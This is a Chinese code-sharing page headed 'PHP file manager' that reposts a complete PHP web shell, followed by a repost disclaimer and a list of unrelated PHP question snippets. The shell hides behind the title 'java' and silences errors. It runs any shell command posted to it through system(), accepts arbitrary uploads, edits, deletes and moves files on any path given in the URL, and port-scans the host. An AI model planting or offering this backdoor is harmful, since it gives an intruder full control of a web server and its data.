php文件管理

2023-11-09

<html>

<head>

<title>

java

</title>

</head>

<body>

<style type="text/css">

body{

background: #E4E4E4;

color: #666666;

font-family: Lucida Sans Unicode,Microsoft YaHei;

font-size: 11px;

}

a:link{

color: #33CC99;

}

a:visited{

color: #33CC99;

}

a:hover{

text-decoration: none;

Color: #3399FF;

}

table {

font-size: 11px;

}

</style>

<?php

error_reporting (0);

set_time_limit (0);

if (empty ($_GET ['dir'])){

$dir = getcwd ();

}

else {

$dir = $_GET ['dir'];

}

chdir ($dir);

$current = htmlentities ($_SERVER ['PHP_SELF'] . "?dir=" . $dir);



echo "<center><h2>java</h2></center><p><hr><p>\n";

echo "<i>Server: " . $_SERVER ['SERVER_NAME'] . "<br>\n";

echo "Current directory: " . getcwd () . "<br>\n";

echo "Software: " . $_SERVER ['SERVER_SOFTWARE'] . "<pre>\n\n</pre></i>\n";

echo "<pre>\n\n\n</pre>";



echo "<table width = 50%>";

echo "<tr>";

echo "<td><a href = '".$current."&mode=system'>Shell Command</a></td>\n";

echo "<td><a href = '".$current."&mode=create'>Create a new file</a></td>\n";

echo "<td><a href = '".$current."&mode=upload'>Upload file</a></td>\n";

echo "<td><a href = '".$current."&mode=port_scan'>Port Scan</a></td>\n";

echo "</tr></table>";

echo "<pre>\n\n</pre>";







$mode = $_GET ['mode'];

switch ($mode){

case 'edit':

$file = $_GET ['file'];

$new = $_POST ['new'];

if (empty ($new)){

$fp = fopen ($file, "r");

$file_cont = fread ($fp, filesize ($file));

$file_cont = str_replace ("<textarea>", "<textarea>", $file_cont);

echo "<form action = '".$current."&mode=edit&file=".$file."' method = 'POST'>\n";

echo "File: ". $file . "<br>\n";

echo "<textarea name = 'new' rows = '30' cols = '50'>".$file_cont."<textarea><br>\n";

echo "<input type = 'submit' value = 'Edit'></form>\n";

}

else {

$fp = fopen ($file, "w");

if (fwrite ($fp, $new)){

echo $file . " edited.<p>";

}

else {

echo "Unable to edit " . $file . ".<p>";

}

}

fclose ($fp);

break;

case 'delete':

$file = $_GET ['file'];

if (unlink ($file)){

echo $file . " deleted successfully.<p>";

}

else {

echo "Unable to delete " . $file . ".<p>";

}

break;

case 'copy':

$src = $_GET ['src'];

$dst = $_POST ['dst'];

if (empty ($dst)){

echo "<form action = '".$current . "&mode=copy&src=" . $src . "' method = 'POST'>\n";

echo "Destination: <input name = 'dst'><br>\n";

echo "<input type = 'submit' value = 'Copy'></form>\n";

}

else {

if (copy ($src, $dst)){

echo "File copied successfully.<p>\n";

}

else {

echo "Unable to copy " . $src . ".<p>\n";

}

}

break;

case 'move':

$src = $_GET ['src'];

$dst = $_POST ['dst'];

if (empty ($dst)){

echo "<form action = '".$current . "&mode=move&src=" . $src . "' method = 'POST'>\n";

echo "Destination: <input name = 'dst'><br>\n";

echo "<input type = 'submit' value = 'Move'></form>\n";

}

else {

if (rename ($src, $dst)){

echo "File moved successfully.<p>\n";

}

else {

echo "Unable to move " . $src . ".<p>\n";

}

}

break;

case 'rename':

$old = $_GET ['old'];

$new = $_POST ['new'];

if (empty ($new)){

echo "<form action = '".$current . "&mode=rename&old=" . $old . "' method = 'POST'>\n";

echo "New name: <input name = 'new'><br>\n";

echo "<input type = 'submit' value = 'Rename'></form>\n";

}

else {

if (rename ($old, $new)){

echo "File/Directory renamed successfully.<p>\n";

}

else {

echo "Unable to rename " . $old . ".<p>\n";

}

}

break;



case 'rmdir':

$rm = $_GET ['rm'];

if (rmdir ($rm)){

echo "Directory removed successfully.<p>\n";

}

else {

echo "Unable to remove " . $rm . ".<p>\n";

}

break;

case 'system':

$cmd = $_POST ['cmd'];

if (empty ($cmd)){

echo "<form action = '".$current . "&mode=system' method = 'POST'>\n";

echo "Shell Command: <input name = 'cmd'>\n";

echo "<input type = 'submit' value = 'Run'></form><p>\n";

}

else {

system ($cmd);

}

break;

case 'create':

$new = $_POST ['new'];

if (empty ($new)){

echo "<form action = '".$current . "&mode=create' method = 'POST'>\n";

echo "<tr><td>New file: <input name = 'new'></td>\n";

echo "<td><input type = 'submit' value = 'Create'></td></tr></form>\n<p>";

}

else {

if ($fp = fopen ($new, "w")){

echo "File created successfully.<p>\n";

}

else {

echo "Unable to create ".$file.".<p>\n";

}

fclose ($fp);

}

break;

case 'upload':

$temp = $_FILES['upload_file']['tmp_name'];

$file = basename($_FILES['upload_file']['name']);

if (empty ($file)){

echo "<form action = '".$current . "&mode=upload' method = 'POST' ENCTYPE='multipart/form-data'>\n";

echo "Local file: <input type = 'file' name = 'upload_file'>\n";

echo "<input type = 'submit' value = 'Upload'>\n";

echo "</form>\n<pre>\n\n</pre>";

}

else {

if(move_uploaded_file($temp,$file)){

echo "File uploaded successfully.<p>\n";

unlink ($temp);

}

else {

echo "Unable to upload " . $file . ".<p>\n";

}

}

break;



case 'port_scan':

$port_range = $_POST ['port_range'];

if (empty ($port_range)){

echo "<table><form action = '".$current. "&mode=port_scan' method = 'POST'>";

echo "<tr><td><input type = 'text' name = 'port_range'></td><td>";

echo "Enter port range where you want to do port scan (ex.: 0:65535)</td></tr>";

echo "<tr><td><input type = 'submit' value = 'Port Scan'></td></tr></form></table>";

}

else {

$range = explode (":", $port_range);

if ((!is_numeric ($range [0])) or (!is_numeric ($range [1]))){

echo "Bad parameters.<br>";

}

else {

$host = 'localhost';

$from = $range [0];

$to = $range [1];

echo "Open ports:<br>";

while ($from <= $to){

$var = 0;

$fp = fsockopen ($host, $from) or $var = 1;

if ($var == 0){

echo $from . "<br>";

}

$from++;

fclose ($fp);

}

}

}

break;





}



clearstatcache ();



echo "<pre>\n\n</pre>";

echo "<table width = 100%&
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

php文件管理 的相关文章

  • PHP - 如何从添加日期算起 60 天

    让我知道 add date date Y m d H m s expiry date how 如何插入到数据库 expiry date60 天 mysql 格式是日期时间 Use strtotime http php net manual
  • 非加密用途的最快哈希值?

    我本质上是在准备要放入数据库的短语 它们可能格式错误 所以我想存储它们的简短散列 我将简单地比较它们是否存在 所以散列是理想的 我假设 MD5 在处理 100 000 个请求时相当慢 所以我想知道散列短语的最佳方法是什么 也许推出我自己的散
  • 从 varchar(100) 类型获取时间(HH:MM AM/PM)格式

    如何将字符串 RD OT 07 30 转换为时间 我只知道如何将 07 30 AM 转换为时间 下面的代码给了我一个空白数据 id strtoupper POST id query mysql query SELECT STR TO DAT
  • iCalendar 邀请未在电子邮件客户端中显示 RSVP 按钮

    我正在使用 PHPMailer 发送电子邮件 我的ICS内容是 BEGIN VCALENDAR METHOD REQUEST VERSION 2 0 PRODID FooBar FooBar Calendar EN BEGIN VEVENT
  • 尝试通过比较不同的表从 SQL 查询输出正确的值

    我对 SQL 非常陌生 需要有关如何使用正确的查询完成此任务的帮助 我有 2 张桌子需要使用 表 TB1 有 id Name 1 bob 2 blow 3 joe 表 TB2 有 compid property 1 bob 2 blow 我
  • 为什么 MySQLi 库本身不支持命名参数?

    正确的 MySQLi 参数化查询语法来自http php net manual en mysqli quickstart prepared statements php http php net manual en mysqli quick
  • 从 Yii2 中的联结表检索数据

    我试图从 Yii2 中的连接表获取数据无需额外查询 我有 2 个模型 用户 组 通过连接表 user group 关联 在 user group 表中 我想存储此关系的额外数据 管理标志 将数据添加到连接表的最佳方法是什么 link 方法接
  • Laravel 转义 Blade 模板中的所有 HTML

    我正在 Laravel 中构建一个小型 CMS 并尝试显示内容 存储在数据库中 它显示 HTML 标签而不是执行它们 就像所有打印数据都有一个自动 html entity decode 一样
  • PHP将数据写入文件中间而不重写文件的最佳方法是什么

    我正在 php 1GB 中处理大型文本文件 我正在使用 file get contents file txt NULL NULL 100000000 100 要从文件中间获取数据 但如果我想将文件中的数据更改为与原始数据不同的更改 我将不得
  • Google 应用程序引擎 - 上传的文件在谷歌云存储上不公开

    我有一个允许用户上传图像的应用程序 并且我希望其他用户能够看到该图像 我使用 CloudStorageTools createUploadUrl 方法允许用户通过 POST 上传 然后 我将上传的文件并使用 move uploaded fi
  • 不使用 PHP 提交联系表单

    我还是一名学生 今天我们的讲师告诉我们 无需使用 mailto 函数即可提交联系我们表单的唯一方法是使用 PHP 我发誓去年另一位讲师向我们展示了一种仅使用 javascript 的方法 是否可以使用基本表单和 javascript 提交反
  • Woocommerce 获取产品

    我使用以下代码从我的 WordPress 网站中的 WooCommerce 获取产品类别列表
  • PHP file_exists() 对我不起作用?

    由于某种原因 下面的 PHP 代码将无法工作 我无法弄清楚 很奇怪的是 file exists 似乎没有看到图像确实存在 我已经检查以确保将良好的文件路径插入到 file exists 函数中并且它仍在运行 如果我将 file exists
  • 在 PHP 中添加分数会产生不同的结果[重复]

    这个问题在这里已经有答案了 可能的重复 PHP float 到 int 类型转换的意外结果 https stackoverflow com questions 3385685 php unexpected result of float t
  • 将 Node.js(用于实时通知)添加到现有 PHP 应用程序

    我有一个现有的 PHP 应用程序 我需要向其中添加实时通知 为了实现这一点 我安装了node js 打算添加socket io以实现所有实时功能 然而 尽管在过去的三个小时里研究并试图弄清楚如何将两者结合起来 但我发现自己并没有更接近于获得
  • MYSQL:SQL查询获取自增字段的值

    我有一张桌子 主键是id及其自动递增 现在 当我插入新记录时 我需要获取更新记录的 id 我怎样才能做到这一点 如果我使用查询 select max id from table name 执行后我可以获得id 但我能确定它是刚刚插入的记录的
  • 将 PHP 7 安装到我的服务器后,PHP 模块无法加载

    我将 PHP 7 安装到我的服务器上 因此 我没有 etc php5 和 etc php 7 0 当我运行我的网络应用程序时 我看不到任何以前的 CURL 或 fork 起初我收到这个错误消息 消息 调用未定义的函数curl init 安装
  • ASCII“../”是 PHP 中指示目录遍历的唯一字节序列吗?

    我有一个 PHP 应用程序 它使用 GET参数来选择文件系统上的 JS CSS 文件 如果我拒绝输入字符串包含的所有请求 或者可见 7 位 ASCII 范围之外的字节 当路径传递到 PHP 的底层 基于 C 文件函数时 这是否足以防止父目录
  • 增加内存限制时出现奇怪的错误

    我使用的是共享托管环境 PHP 的默认内存限制是 32M 我在 Concrete5 设置方面遇到一些问题 当我尝试登录 Concrete5 的管理面板时 出现内存限制错误Allowed memory size of 33554432 byt
  • 我的设置未保存在 WordPress 主题选项页面中

    我正在尝试创建一个基于 WordPress 设置 API 的主题选项页面 当我在浏览器中检查 options php 页面时 例如http mysite com wordpress wp admin options php http mys

随机推荐